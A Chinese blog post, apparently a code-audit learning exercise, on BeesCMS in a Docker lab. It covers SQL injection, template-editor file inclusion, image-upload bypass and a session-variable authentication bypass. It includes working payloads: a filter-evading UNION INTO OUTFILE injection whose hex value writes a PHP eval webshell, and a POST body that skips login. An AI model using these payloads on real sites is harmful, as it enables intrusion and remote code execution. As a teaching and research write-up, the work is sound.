php代码审计学习----蜜蜂cms代码审计

发布时间 2023-10-28 14:29:29作者: BattleofZhongDinghe

php代码审计学习----蜜蜂cms代码审计

源码

https://github.com/Betsy0/CMSVulSource/tree/main/beescms

环境搭建

这个需要用docker搭建环境
用windows的phpstudy会出现403

然后chmod -R 777 html
在docker容器里

mysql -uroot -proot
create database beescms;

然后再/etc/mysql/my.cnf中添加

secure_file_priv=''

重启mysql

漏洞复现

1.SQL注入

admin' a and nd extractvalue(1,concat(0x7e,(select database()),0x7e))#


通过SQL注入getshell

admin' un union ion selselectect 1,2,3,4,0x3C3F70687020706870696E666F28293B406576616C28245F504F53545B315D293B3F3E i into nto ououtfiletfile '/var/www/html/shell.php'#


2.文件包含

/admin/admin_template.php?action=xg&nav=main&admin_p_nav=main_info&lang=cn&file=index.php(*.php)

然后插入木马即可


3.文件上传
上传图片马,抓包修改后缀

4.鉴权绕过

代码审计

1.SQL注入
全局搜索关键词select id,

function check_login($user,$password){
	$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");	
	$rel=empty($rel)?'':$rel[0];
	if(empty($rel)){
		msg('不存在该管理用户','login.php');
	}
	$password=md5($password);
	if($password!=$rel['admin_password']){
		msg("输入的密码不正确");
	}
	if($rel['is_disable']){
		msg('该账号已经被锁定,无法登陆');

然后此处有过滤,可以用复写绕过

function fl_value($str){
	if(empty($str)){return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}

2.文件包含
admin_template.php中可以处理php后缀的文件

//模板修改界面
elseif($action=='xg'){
	if(!check_purview('tpl_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
	$file = $_GET['file'];
	$path=CMS_PATH.$file;
	if(!$fp=@fopen($path,'r+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
	flock($fp,LOCK_EX);
	$str=@fread($fp,filesize($path));
	$str = str_replace("&","&amp;",$str);
	$str= str_replace(array("'",'"',"<",">"),array("&#39;","&quot;","&lt;","&gt;"),$str);
	flock($fp,LOCK_UN);
	fclose($fp);
	include('template/admin_template_xg.php');
}

//处理模板修改
elseif($action=='save_template'){
	if(!check_purview('tpl_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
	$template = $_POST['template'];
	$file = $_POST['file'];
	$template=stripslashes($template);
	$path=CMS_PATH.$file;
	//判断文件是否存在
	if(!file_exists($path)){msg('不存在该文件,请重新操作');}
	if(!$fp=@fopen($path,'w+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
	flock($fp,LOCK_EX);
	fwrite($fp,$template);
	flock($fp,LOCK_UN);
	fclose($fp);
	msg('【'.$file.'】模板修改完成','?nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}

3.文件上传
在admin目录下发现有upload.php

<?php
if(isset($_FILES['up'])){
if(is_uploaded_file($_FILES['up']['tmp_name'])){
	if($up_type=='pic'){
		$is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
		$thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
		$thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
		$logo=0;
		$is_up_size = $_sys['upload_size']*1000*1000;
		$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
		$pic=$value_arr['pic'];
		if(!empty($value_arr['thumb'])){
		$pic=$value_arr['thumb'];
		}
		$str="<script type=\"text/javascript\">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
		echo $str;
		exit;
	}//图片上传
}else{
die('没有上传文件或文件大小超过服务器限制大小<a href="javascript:history.back(1);">返回重新上传</a>');
}
}
?>

4.鉴权绕过
回到admin/fun.php,观察鉴权的函数

function is_login(){
	if($_SESSION['login_in']==1&&$_SESSION['admin']){
		if(time()-$_SESSION['login_time']>3600){
			login_out();
		}else{
			$_SESSION['login_time']=time();
			@session_regenerate_id();
		}
		return 1;
	}else{
		$_SESSION['admin']='';
		$_SESSION['admin_purview']='';
		$_SESSION['admin_id']='';
		$_SESSION['admin_time']='';
		$_SESSION['login_in']='';
		$_SESSION['login_time']='';
		$_SESSION['admin_ip']='';
		return 0;
	}
}

此时如果同时满足$_SESSION['login_in']==1,$_SESSION['admin'],time()-$_SESSION['login_time']>3600,即可绕过输入账号密码直接登录
post提交(login_time为超大数,time()-$_SESSION['login_time']就会为负数了)

_SESSION['login_in']=1&_SESSION['admin']=1&_SESSION['login_time']=12345678912345

参考文章

https://www.cnblogs.com/XuyeZi/p/17673615.html